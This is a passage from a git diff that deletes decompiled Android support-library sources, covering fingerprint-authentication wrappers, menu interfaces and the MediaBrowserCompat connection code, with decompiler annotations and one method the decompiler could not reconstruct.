android.support.v4.hardware.fingerprint.FingerprintManagerCompatApi23.AuthenticationCallback - public void onAuthenticationSucceeded(FingerprintManagerCompatApi23.AuthenticationResultInternal authenticationResultInternal) { - AuthenticationCallback.this.onAuthenticationSucceeded(new AuthenticationResult(Api23FingerprintManagerCompatImpl.unwrapCryptoObject(authenticationResultInternal.getCryptoObject()))); - } - - @Override // android.support.v4.hardware.fingerprint.FingerprintManagerCompatApi23.AuthenticationCallback - public void onAuthenticationFailed() { - AuthenticationCallback.this.onAuthenticationFailed(); - } - }; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/hardware/fingerprint/FingerprintManagerCompatApi23.java b/apk_3230/decompiled_source/sources/android/support/v4/hardware/fingerprint/FingerprintManagerCompatApi23.java deleted file mode 100644 index f163c5f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/hardware/fingerprint/FingerprintManagerCompatApi23.java +++ /dev/null @@ -1,150 +0,0 @@ -package android.support.v4.hardware.fingerprint; - -import android.content.Context; -import android.hardware.fingerprint.FingerprintManager; -import android.os.CancellationSignal; -import android.os.Handler; -import java.security.Signature; -import javax.crypto.Cipher; -import javax.crypto.Mac; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class FingerprintManagerCompatApi23 { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class AuthenticationCallback { - public void onAuthenticationError(int i, CharSequence charSequence) { - } - - public void onAuthenticationFailed() { - } - - public void onAuthenticationHelp(int i, CharSequence charSequence) { - } - - public void onAuthenticationSucceeded(AuthenticationResultInternal authenticationResultInternal) { - } - } - - private static FingerprintManager getFingerprintManager(Context context) { - return (FingerprintManager) context.getSystemService(FingerprintManager.class); - } - - public static boolean hasEnrolledFingerprints(Context context) { - return getFingerprintManager(context).hasEnrolledFingerprints(); - } - - public static boolean isHardwareDetected(Context context) { - return getFingerprintManager(context).isHardwareDetected(); - } - - public static void authenticate(Context context, CryptoObject cryptoObject, int i, Object obj, AuthenticationCallback authenticationCallback, Handler handler) { - getFingerprintManager(context).authenticate(wrapCryptoObject(cryptoObject), (CancellationSignal) obj, i, wrapCallback(authenticationCallback), handler); - } - - private static FingerprintManager.CryptoObject wrapCryptoObject(CryptoObject cryptoObject) { - if (cryptoObject == null) { - return null; - } - if (cryptoObject.getCipher() != null) { - return new FingerprintManager.CryptoObject(cryptoObject.getCipher()); - } - if (cryptoObject.getSignature() != null) { - return new FingerprintManager.CryptoObject(cryptoObject.getSignature()); - } - if (cryptoObject.getMac() != null) { - return new FingerprintManager.CryptoObject(cryptoObject.getMac()); - } - return null; - } - - /* JADX INFO: Access modifiers changed from: private */ - public static CryptoObject unwrapCryptoObject(FingerprintManager.CryptoObject cryptoObject) { - if (cryptoObject == null) { - return null; - } - if (cryptoObject.getCipher() != null) { - return new CryptoObject(cryptoObject.getCipher()); - } - if (cryptoObject.getSignature() != null) { - return new CryptoObject(cryptoObject.getSignature()); - } - if (cryptoObject.getMac() != null) { - return new CryptoObject(cryptoObject.getMac()); - } - return null; - } - - private static FingerprintManager.AuthenticationCallback wrapCallback(final AuthenticationCallback authenticationCallback) { - return new FingerprintManager.AuthenticationCallback() { // from class: android.support.v4.hardware.fingerprint.FingerprintManagerCompatApi23.1 - @Override // android.hardware.fingerprint.FingerprintManager.AuthenticationCallback - public void onAuthenticationError(int i, CharSequence charSequence) { - AuthenticationCallback.this.onAuthenticationError(i, charSequence); - } - - @Override // android.hardware.fingerprint.FingerprintManager.AuthenticationCallback - public void onAuthenticationHelp(int i, CharSequence charSequence) { - AuthenticationCallback.this.onAuthenticationHelp(i, charSequence); - } - - @Override // android.hardware.fingerprint.FingerprintManager.AuthenticationCallback - public void onAuthenticationSucceeded(FingerprintManager.AuthenticationResult authenticationResult) { - AuthenticationCallback.this.onAuthenticationSucceeded(new AuthenticationResultInternal(FingerprintManagerCompatApi23.unwrapCryptoObject(authenticationResult.getCryptoObject()))); - } - - @Override // android.hardware.fingerprint.FingerprintManager.AuthenticationCallback - public void onAuthenticationFailed() { - AuthenticationCallback.this.onAuthenticationFailed(); - } - }; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class CryptoObject { - private final Cipher mCipher; - private final Mac mMac; - private final Signature mSignature; - - public CryptoObject(Signature signature) { - this.mSignature = signature; - this.mCipher = null; - this.mMac = null; - } - - public CryptoObject(Cipher cipher) { - this.mCipher = cipher; - this.mSignature = null; - this.mMac = null; - } - - public CryptoObject(Mac mac) { - this.mMac = mac; - this.mCipher = null; - this.mSignature = null; - } - - public Signature getSignature() { - return this.mSignature; - } - - public Cipher getCipher() { - return this.mCipher; - } - - public Mac getMac() { - return this.mMac; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class AuthenticationResultInternal { - private CryptoObject mCryptoObject; - - public AuthenticationResultInternal(CryptoObject cryptoObject) { - this.mCryptoObject = cryptoObject; - } - - public CryptoObject getCryptoObject() { - return this.mCryptoObject; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/internal/view/SupportMenu.java b/apk_3230/decompiled_source/sources/android/support/v4/internal/view/SupportMenu.java deleted file mode 100644 index d3c91ae..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/internal/view/SupportMenu.java +++ /dev/null @@ -1,11 +0,0 @@ -package android.support.v4.internal.view; - -import android.view.Menu; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface SupportMenu extends Menu { - public static final int CATEGORY_MASK = -65536; - public static final int CATEGORY_SHIFT = 16; - public static final int FLAG_KEEP_OPEN_ON_SUBMENU_OPENED = 4; - public static final int USER_MASK = 65535; - public static final int USER_SHIFT = 0; -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/internal/view/SupportMenuItem.java b/apk_3230/decompiled_source/sources/android/support/v4/internal/view/SupportMenuItem.java deleted file mode 100644 index c6f4b17..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/internal/view/SupportMenuItem.java +++ /dev/null @@ -1,44 +0,0 @@ -package android.support.v4.internal.view; - -import android.support.v4.view.ActionProvider; -import android.support.v4.view.MenuItemCompat; -import android.view.MenuItem; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface SupportMenuItem extends MenuItem { - public static final int SHOW_AS_ACTION_ALWAYS = 2; - public static final int SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW = 8; - public static final int SHOW_AS_ACTION_IF_ROOM = 1; - public static final int SHOW_AS_ACTION_NEVER = 0; - public static final int SHOW_AS_ACTION_WITH_TEXT = 4; - - @Override // android.view.MenuItem - boolean collapseActionView(); - - @Override // android.view.MenuItem - boolean expandActionView(); - - @Override // android.view.MenuItem - View getActionView(); - - ActionProvider getSupportActionProvider(); - - @Override // android.view.MenuItem - boolean isActionViewExpanded(); - - @Override // android.view.MenuItem - MenuItem setActionView(int i); - - @Override // android.view.MenuItem - MenuItem setActionView(View view); - - @Override // android.view.MenuItem - void setShowAsAction(int i); - - @Override // android.view.MenuItem - MenuItem setShowAsActionFlags(int i); - - SupportMenuItem setSupportActionProvider(ActionProvider actionProvider); - - SupportMenuItem setSupportOnActionExpandListener(MenuItemCompat.OnActionExpandListener onActionExpandListener); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/internal/view/SupportSubMenu.java b/apk_3230/decompiled_source/sources/android/support/v4/internal/view/SupportSubMenu.java deleted file mode 100644 index bfa419d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/internal/view/SupportSubMenu.java +++ /dev/null @@ -1,6 +0,0 @@ -package android.support.v4.internal.view; - -import android.view.SubMenu; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface SupportSubMenu extends SupportMenu, SubMenu { -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompat.java deleted file mode 100644 index 2a9f5ad..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaBrowserCompat.java +++ /dev/null @@ -1,1344 +0,0 @@ -package android.support.v4.media; - -import android.content.ComponentName; -import android.content.Context; -import android.content.ServiceConnection; -import android.os.Build; -import android.os.Bundle; -import android.os.Handler; -import android.os.IBinder; -import android.os.Message; -import android.os.Messenger; -import android.os.Parcel; -import android.os.Parcelable; -import android.os.RemoteException; -import android.support.v4.app.BundleCompat; -import android.support.v4.media.MediaBrowserCompatApi21; -import android.support.v4.media.MediaBrowserCompatApi23; -import android.support.v4.media.MediaBrowserCompatApi24; -import android.support.v4.media.session.MediaSessionCompat; -import android.support.v4.os.ResultReceiver; -import android.support.v4.util.ArrayMap; -import android.text.TextUtils; -import android.util.Log; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.ref.WeakReference; -import java.util.ArrayList; -import java.util.Collections; -import java.util.Iterator; -import java.util.List; -import java.util.Map; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class MediaBrowserCompat { - public static final String EXTRA_PAGE = "android.media.browse.extra.PAGE"; - public static final String EXTRA_PAGE_SIZE = "android.media.browse.extra.PAGE_SIZE"; - private final MediaBrowserImpl mImpl; - static final String TAG = "MediaBrowserCompat"; - static final boolean DEBUG = Log.isLoggable(TAG, 3); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface MediaBrowserImpl { - void connect(); - - void disconnect(); - - Bundle getExtras(); - - void getItem(String str, ItemCallback itemCallback); - - String getRoot(); - - ComponentName getServiceComponent(); - - MediaSessionCompat.Token getSessionToken(); - - boolean isConnected(); - - void subscribe(String str, Bundle bundle, SubscriptionCallback subscriptionCallback); - - void unsubscribe(String str, SubscriptionCallback subscriptionCallback); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface MediaBrowserServiceCallbackImpl { - void onConnectionFailed(Messenger messenger); - - void onLoadChildren(Messenger messenger, String str, List list, Bundle bundle); - - void onServiceConnected(Messenger messenger, String str, MediaSessionCompat.Token token, Bundle bundle); - } - - public MediaBrowserCompat(Context context, ComponentName componentName, ConnectionCallback connectionCallback, Bundle bundle) { - this.mImpl = new MediaBrowserImplApi24(context, componentName, connectionCallback, bundle); - } - - public void connect() { - this.mImpl.connect(); - } - - public void disconnect() { - this.mImpl.disconnect(); - } - - public boolean isConnected() { - return this.mImpl.isConnected(); - } - - public ComponentName getServiceComponent() { - return this.mImpl.getServiceComponent(); - } - - public String getRoot() { - return this.mImpl.getRoot(); - } - - public Bundle getExtras() { - return this.mImpl.getExtras(); - } - - public MediaSessionCompat.Token getSessionToken() { - return this.mImpl.getSessionToken(); - } - - public void subscribe(String str, SubscriptionCallback subscriptionCallback) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("parentId is empty"); - } - if (subscriptionCallback == null) { - throw new IllegalArgumentException("callback is null"); - } - this.mImpl.subscribe(str, null, subscriptionCallback); - } - - public void subscribe(String str, Bundle bundle, SubscriptionCallback subscriptionCallback) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("parentId is empty"); - } - if (subscriptionCallback == null) { - throw new IllegalArgumentException("callback is null"); - } - if (bundle == null) { - throw new IllegalArgumentException("options are null"); - } - this.mImpl.subscribe(str, bundle, subscriptionCallback); - } - - public void unsubscribe(String str) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("parentId is empty"); - } - this.mImpl.unsubscribe(str, null); - } - - public void unsubscribe(String str, SubscriptionCallback subscriptionCallback) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("parentId is empty"); - } - if (subscriptionCallback == null) { - throw new IllegalArgumentException("callback is null"); - } - this.mImpl.unsubscribe(str, subscriptionCallback); - } - - public void getItem(String str, ItemCallback itemCallback) { - this.mImpl.getItem(str, itemCallback); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class MediaItem implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.MediaBrowserCompat.MediaItem.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public MediaItem createFromParcel(Parcel parcel) { - return new MediaItem(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public MediaItem[] newArray(int i) { - return new MediaItem[i]; - } - }; - public static final int FLAG_BROWSABLE = 1; - public static final int FLAG_PLAYABLE = 2; - private final MediaDescriptionCompat mDescription; - private final int mFlags; - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface Flags { - } - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - public static MediaItem fromMediaItem(Object obj) { - if (obj != null) { - return new MediaItem(MediaDescriptionCompat.fromMediaDescription(MediaBrowserCompatApi21.MediaItem.getDescription(obj)), MediaBrowserCompatApi21.MediaItem.getFlags(obj)); - } - return null; - } - - public static List fromMediaItemList(List list) { - if (list != null) { - ArrayList arrayList = new ArrayList(list.size()); - Iterator it = list.iterator(); - while (it.hasNext()) { - arrayList.add(fromMediaItem(it.next())); - } - return arrayList; - } - return null; - } - - public MediaItem(MediaDescriptionCompat mediaDescriptionCompat, int i) { - if (mediaDescriptionCompat == null) { - throw new IllegalArgumentException("description cannot be null"); - } - if (TextUtils.isEmpty(mediaDescriptionCompat.getMediaId())) { - throw new IllegalArgumentException("description must have a non-empty media id"); - } - this.mFlags = i; - this.mDescription = mediaDescriptionCompat; - } - - MediaItem(Parcel parcel) { - this.mFlags = parcel.readInt(); - this.mDescription = MediaDescriptionCompat.CREATOR.createFromParcel(parcel); - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeInt(this.mFlags); - this.mDescription.writeToParcel(parcel, i); - } - - public String toString() { - StringBuilder sb = new StringBuilder("MediaItem{mFlags="); - sb.append(this.mFlags); - sb.append(", mDescription=").append(this.mDescription); - sb.append('}'); - return sb.toString(); - } - - public int getFlags() { - return this.mFlags; - } - - public boolean isBrowsable() { - return (this.mFlags & 1) != 0; - } - - public boolean isPlayable() { - return (this.mFlags & 2) != 0; - } - - public MediaDescriptionCompat getDescription() { - return this.mDescription; - } - - public String getMediaId() { - return this.mDescription.getMediaId(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class ConnectionCallback { - ConnectionCallbackInternal mConnectionCallbackInternal; - final Object mConnectionCallbackObj = MediaBrowserCompatApi21.createConnectionCallback(new StubApi21()); - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface ConnectionCallbackInternal { - void onConnected(); - - void onConnectionFailed(); - - void onConnectionSuspended(); - } - - public void onConnected() { - } - - public void onConnectionFailed() { - } - - public void onConnectionSuspended() { - } - - void setInternalConnectionCallback(ConnectionCallbackInternal connectionCallbackInternal) { - this.mConnectionCallbackInternal = connectionCallbackInternal; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class StubApi21 implements MediaBrowserCompatApi21.ConnectionCallback { - StubApi21() { - } - - @Override // android.support.v4.media.MediaBrowserCompatApi21.ConnectionCallback - public void onConnected() { - if (ConnectionCallback.this.mConnectionCallbackInternal != null) { - ConnectionCallback.this.mConnectionCallbackInternal.onConnected(); - } - ConnectionCallback.this.onConnected(); - } - - @Override // android.support.v4.media.MediaBrowserCompatApi21.ConnectionCallback - public void onConnectionSuspended() { - if (ConnectionCallback.this.mConnectionCallbackInternal != null) { - ConnectionCallback.this.mConnectionCallbackInternal.onConnectionSuspended(); - } - ConnectionCallback.this.onConnectionSuspended(); - } - - @Override // android.support.v4.media.MediaBrowserCompatApi21.ConnectionCallback - public void onConnectionFailed() { - if (ConnectionCallback.this.mConnectionCallbackInternal != null) { - ConnectionCallback.this.mConnectionCallbackInternal.onConnectionFailed(); - } - ConnectionCallback.this.onConnectionFailed(); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class SubscriptionCallback { - WeakReference mSubscriptionRef; - private final Object mSubscriptionCallbackObj = MediaBrowserCompatApi24.createSubscriptionCallback(new StubApi24()); - private final IBinder mToken = null; - - public void onChildrenLoaded(String str, List list) { - } - - public void onChildrenLoaded(String str, List list, Bundle bundle) { - } - - public void onError(String str) { - } - - public void onError(String str, Bundle bundle) { - } - - /* JADX INFO: Access modifiers changed from: private */ - public void setSubscription(Subscription subscription) { - this.mSubscriptionRef = new WeakReference<>(subscription); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class StubApi21 implements MediaBrowserCompatApi21.SubscriptionCallback { - StubApi21() { - } - - @Override // android.support.v4.media.MediaBrowserCompatApi21.SubscriptionCallback - public void onChildrenLoaded(String str, List list) { - Subscription subscription = SubscriptionCallback.this.mSubscriptionRef == null ? null : SubscriptionCallback.this.mSubscriptionRef.get(); - if (subscription == null) { - SubscriptionCallback.this.onChildrenLoaded(str, MediaItem.fromMediaItemList(list)); - return; - } - List fromMediaItemList = MediaItem.fromMediaItemList(list); - List callbacks = subscription.getCallbacks(); - List optionsList = subscription.getOptionsList(); - for (int i = 0; i < callbacks.size(); i++) { - Bundle bundle = optionsList.get(i); - if (bundle == null) { - SubscriptionCallback.this.onChildrenLoaded(str, fromMediaItemList); - } else { - SubscriptionCallback.this.onChildrenLoaded(str, applyOptions(fromMediaItemList, bundle), bundle); - } - } - } - - @Override // android.support.v4.media.MediaBrowserCompatApi21.SubscriptionCallback - public void onError(String str) { - SubscriptionCallback.this.onError(str); - } - - List applyOptions(List list, Bundle bundle) { - if (list == null) { - return null; - } - int i = bundle.getInt(MediaBrowserCompat.EXTRA_PAGE, -1); - int i2 = bundle.getInt(MediaBrowserCompat.EXTRA_PAGE_SIZE, -1); - if (i == -1 && i2 == -1) { - return list; - } - int i3 = i2 * i; - int i4 = i3 + i2; - if (i < 0 || i2 < 1 || i3 >= list.size()) { - return Collections.EMPTY_LIST; - } - if (i4 > list.size()) { - i4 = list.size(); - } - return list.subList(i3, i4); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class StubApi24 extends StubApi21 implements MediaBrowserCompatApi24.SubscriptionCallback { - StubApi24() { - super(); - } - - @Override // android.support.v4.media.MediaBrowserCompatApi24.SubscriptionCallback - public void onChildrenLoaded(String str, List list, Bundle bundle) { - SubscriptionCallback.this.onChildrenLoaded(str, MediaItem.fromMediaItemList(list), bundle); - } - - @Override // android.support.v4.media.MediaBrowserCompatApi24.SubscriptionCallback - public void onError(String str, Bundle bundle) { - SubscriptionCallback.this.onError(str, bundle); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class ItemCallback { - final Object mItemCallbackObj = MediaBrowserCompatApi23.createItemCallback(new StubApi23()); - - public void onError(String str) { - } - - public void onItemLoaded(MediaItem mediaItem) { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class StubApi23 implements MediaBrowserCompatApi23.ItemCallback { - StubApi23() { - } - - @Override // android.support.v4.media.MediaBrowserCompatApi23.ItemCallback - public void onItemLoaded(Parcel parcel) { - parcel.setDataPosition(0); - parcel.recycle(); - ItemCallback.this.onItemLoaded(MediaItem.CREATOR.createFromParcel(parcel)); - } - - @Override // android.support.v4.media.MediaBrowserCompatApi23.ItemCallback - public void onError(String str) { - ItemCallback.this.onError(str); - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class MediaBrowserImplBase implements MediaBrowserImpl, MediaBrowserServiceCallbackImpl { - private static final int CONNECT_STATE_CONNECTED = 2; - static final int CONNECT_STATE_CONNECTING = 1; - static final int CONNECT_STATE_DISCONNECTED = 0; - static final int CONNECT_STATE_SUSPENDED = 3; - final ConnectionCallback mCallback; - Messenger mCallbacksMessenger; - final Context mContext; - private Bundle mExtras; - private MediaSessionCompat.Token mMediaSessionToken; - final Bundle mRootHints; - private String mRootId; - ServiceBinderWrapper mServiceBinderWrapper; - final ComponentName mServiceComponent; - MediaServiceConnection mServiceConnection; - final CallbackHandler mHandler = new CallbackHandler(this); - private final ArrayMap mSubscriptions = new ArrayMap<>(); - int mState = 0; - - public MediaBrowserImplBase(Context context, ComponentName componentName, ConnectionCallback connectionCallback, Bundle bundle) { - if (context == null) { - throw new IllegalArgumentException("context must not be null"); - } - if (componentName == null) { - throw new IllegalArgumentException("service component must not be null"); - } - if (connectionCallback == null) { - throw new IllegalArgumentException("connection callback must not be null"); - } - this.mContext = context; - this.mServiceComponent = componentName; - this.mCallback = connectionCallback; - this.mRootHints = bundle == null ? null : new Bundle(bundle); - } - - /* JADX WARN: Code restructure failed: missing block: B:17:0x004a, code lost: - if (r5.mContext.bindService(r2, r3, 1) == false) goto L23; - */ - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public void connect() { - /* - r5 = this; - java.lang.String r0 = "MediaBrowserCompat" - int r1 = r5.mState - if (r1 != 0) goto La6 - boolean r1 = android.support.v4.media.MediaBrowserCompat.DEBUG - if (r1 == 0) goto L26 - android.support.v4.media.MediaBrowserCompat$MediaBrowserImplBase$MediaServiceConnection r1 = r5.mServiceConnection - if (r1 != 0) goto Lf - goto L26 - Lf: - java.lang.RuntimeException r0 = new java.lang.RuntimeException - java.lang.StringBuilder r1 = new java.lang.StringBuilder - java.lang.String r2 = "mServiceConnection should be null. Instead it is " - r1.(r2) - android.support.v4.media.MediaBrowserCompat$MediaBrowserImplBase$MediaServiceConnection r2 = r5.mServiceConnection - java.lang.StringBuilder r1 = r1.append(r2) - java.lang.String r1 = r1.toString() - r0.(r1) - throw r0 - L26: - android.support.v4.media.MediaBrowserCompat$ServiceBinderWrapper r1 = r5.mServiceBinderWrapper - if (r1 != 0) goto L8f - android.os.Messenger r1 = r5.mCallbacksMessenger - if (r1 != 0) goto L78 - r1 = 1 - r5.mState = r1 - android.content.Intent r2 = new android.content.Intent - java.lang.String r3 = "android.media.browse.MediaBrowserService" - r2.(r3) - android.content.ComponentName r3 = r5.mServiceComponent - r2.setComponent(r3) - android.support.v4.media.MediaBrowserCompat$MediaBrowserImplBase$MediaServiceConnection r3 = new android.support.v4.media.MediaBrowserCompat$MediaBrowserImplBase$MediaServiceConnection - r3.() - r5.mServiceConnection = r3 - android.content.Context r4 = r5.mContext // Catch: java.lang.Exception -> L4d - boolean r1 = r4.bindService(r2, r3, r1) // Catch: java.lang.Exception -> L4d - if (r1 != 0) goto L6b - goto L61 - L4d: - java.lang.StringBuilder r1 = new java.lang.StringBuilder - java.lang.String r2 = "Failed binding to service " - r1.(r2) - android.content.ComponentName r2 = r5.mServiceComponent - java.lang.StringBuilder r1 = r1.append(r2) - java.lang.String r1 = r1.toString() - android.util.Log.e(r0, r1) - L61: - android.support.v4.media.MediaBrowserCompat$CallbackHandler r1 = r5.mHandler - android.support.v4.media.MediaBrowserCompat$MediaBrowserImplBase$1 r2 = new android.support.v4.media.MediaBrowserCompat$MediaBrowserImplBase$1 - r2.() - r1.post(r2) - L6b: - boolean r1 = android.support.v4.media.MediaBrowserCompat.DEBUG - if (r1 == 0) goto L77 - java.lang.String r1 = "connect..." - android.util.Log.d(r0, r1) - r5.dump() - L77: - return - L78: - java.lang.RuntimeException r0 = new java.lang.RuntimeException - java.lang.StringBuilder r1 = new java.lang.StringBuilder - java.lang.String r2 = "mCallbacksMessenger should be null. Instead it is " - r1.(r2) - android.os.Messenger r2 = r5.mCallbacksMessenger - java.lang.StringBuilder r1 = r1.append(r2) - java.lang.String r1 = r1.toString() - r0.(r1) - throw r0 - L8f: - java.lang.RuntimeException r0 = new java.lang.RuntimeException - java.lang.StringBuilder r1 = new java.lang.StringBuilder - java.lang.String r2 = "mServiceBinderWrapper should be null. Instead it is " - r1.(r2) - android.support.v4.media.MediaBrowserCompat$ServiceBinderWrapper r2 = r5.mServiceBinderWrapper - java.lang.StringBuilder r1 = r1.append(r2) - java.lang.String r1 = r1.toString() - r0.(r1) - throw r0 - La6: - java.lang.IllegalStateException r0 = new java.lang.IllegalStateException - java.lang.StringBuilder r1 = new java.lang.StringBuilder - java.lang.String r2 = "connect() called while not disconnected (state=" - r1.(r2) - int r2 = r5.mState - java.lang.String r2 = getStateLabel(r2) - java.lang.StringBuilder r1 = r1.append(r2) - java.lang.String r2 = ")" - java.lang.StringBuilder r1 = r1.append(r2) - java.lang.String r1 = r1.toString() - r0.(r1) - throw r0 - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.media.MediaBrowserCompat.MediaBrowserImplBase.connect():void"); - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void disconnect() { - Messenger messenger = this.mCallbacksMessenger; - if (messenger != null) { - try { - this.mServiceBinderWrapper.disconnect(messenger); - } catch (RemoteException unused) { - Log.w(MediaBrowserCompat.TAG, "RemoteException during connect for " + this.mServiceComponent); - } - } - forceCloseConnection(); - if (MediaBrowserCompat.DEBUG) { - Log.d(MediaBrowserCompat.TAG, "disconnect..."); - dump(); - } - } - - void forceCloseConnection() { - MediaServiceConnection mediaServiceConnection = this.mServiceConnection; - if (mediaServiceConnection != null) { - this.mContext.unbindService(mediaServiceConnection); - } - this.mState = 0; - this.mServiceConnection = null; - this.mServiceBinderWrapper = null; - this.mCallbacksMessenger = null; - this.mHandler.setCallbacksMessenger(null); - this.mRootId = null; - this.mMediaSessionToken = null; - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public boolean isConnected() { - return this.mState == 2; - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public ComponentName getServiceComponent() { - if (!isConnected()) { - throw new IllegalStateException("getServiceComponent() called while not connected (state=" + this.mState + ")"); - } - return this.mServiceComponent; - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public String getRoot() { - if (!isConnected()) { - throw new IllegalStateException("getRoot() called while not connected(state=" + getStateLabel(this.mState) + ")"); - } - return this.mRootId; - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public Bundle getExtras() { - if (!isConnected()) { - throw new IllegalStateException("getExtras() called while not connected (state=" + getStateLabel(this.mState) + ")"); - } - return this.mExtras; - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public MediaSessionCompat.Token getSessionToken() { - if (!isConnected()) { - throw new IllegalStateException("getSessionToken() called while not connected(state=" + this.mState + ")"); - } - return this.mMediaSessionToken; - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void subscribe(String str, Bundle bundle, SubscriptionCallback subscriptionCallback) { - Subscription subscription = this.mSubscriptions.get(str); - if (subscription == null) { - subscription = new Subscription(); - this.mSubscriptions.put(str, subscription); - } - subscription.putCallback(bundle, subscriptionCallback); - if (this.mState == 2) { - try { - this.mServiceBinderWrapper.addSubscription(str, subscriptionCallback.mToken, bundle, this.mCallbacksMessenger); - } catch (RemoteException unused) { - Log.d(MediaBrowserCompat.TAG, "addSubscription failed with RemoteException parentId=" + str); - } - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void unsubscribe(String str, SubscriptionCallback subscriptionCallback) { - Subscription subscription = this.mSubscriptions.get(str); - if (subscription == null) { - return; - } - try { - if (subscriptionCallback == null) { - if (this.mState == 2) { - this.mServiceBinderWrapper.removeSubscription(str, null, this.mCallbacksMessenger); - } - } else { - List callbacks = subscription.getCallbacks(); - List optionsList = subscription.getOptionsList(); - for (int size = callbacks.size() - 1; size >= 0; size--) { - if (callbacks.get(size) == subscriptionCallback) { - if (this.mState == 2) { - this.mServiceBinderWrapper.removeSubscription(str, subscriptionCallback.mToken, this.mCallbacksMessenger); - } - callbacks.remove(size); - optionsList.remove(size); - } - } - } - } catch (RemoteException unused) { - Log.d(MediaBrowserCompat.TAG, "removeSubscription failed with RemoteException parentId=" + str); - } - if (subscription.isEmpty() || subscriptionCallback == null) { - this.mSubscriptions.remove(str); - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserImpl - public void getItem(final String str, final ItemCallback itemCallback) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("mediaId is empty"); - } - if (itemCallback == null) { - throw new IllegalArgumentException("cb is null"); - } - if (this.mState != 2) { - Log.i(MediaBrowserCompat.TAG, "Not connected, unable to retrieve the MediaItem."); - this.mHandler.post(new Runnable() { // from class: android.support.v4.media.MediaBrowserCompat.MediaBrowserImplBase.2 - @Override // java.lang.Runnable - public void run() { - itemCallback.onError(str); - } - }); - return; - } - try { - this.mServiceBinderWrapper.getMediaItem(str, new ItemReceiver(str, itemCallback, this.mHandler), this.mCallbacksMessenger); - } catch (RemoteException unused) { - Log.i(MediaBrowserCompat.TAG, "Remote error getting media item."); - this.mHandler.post(new Runnable() { // from class: android.support.v4.media.MediaBrowserCompat.MediaBrowserImplBase.3 - @Override // java.lang.Runnable - public void run() { - itemCallback.onError(str); - } - }); - } - } - - @Override // android.support.v4.media.MediaBrowserCompat.MediaBrowserServiceCallbackImpl - public void onServiceConnected(Messenger messenger, String str, MediaSessionCompat.Token token, Bundle bundle) { - if (isCurrent(messenger, "onConnect")) { - if (this.mState != 1) { - Log.w(MediaBrowserCompat.TAG, "onConnect from service while mState=" + getStateLabel(this.mState) + "... ignoring"); - return; - } - this.mRootId = str; - this.mMediaSessionToken = token; - this.mExtras = bundle; - this.mState = 2; - if (MediaBrowserCompat.DEBUG) { - Log.d(MediaBrowserCompat.TAG, "ServiceCallbacks.onConnect..."); - dump(); - } - this.mCallback.onConnected(); - try { - for (Map.Entry entry : this.mSubscriptions.entrySet()) { - String key = entry.getKey(); - Subscription value = entry.getValue(); - List callbacks = value.getCallbacks(); - List 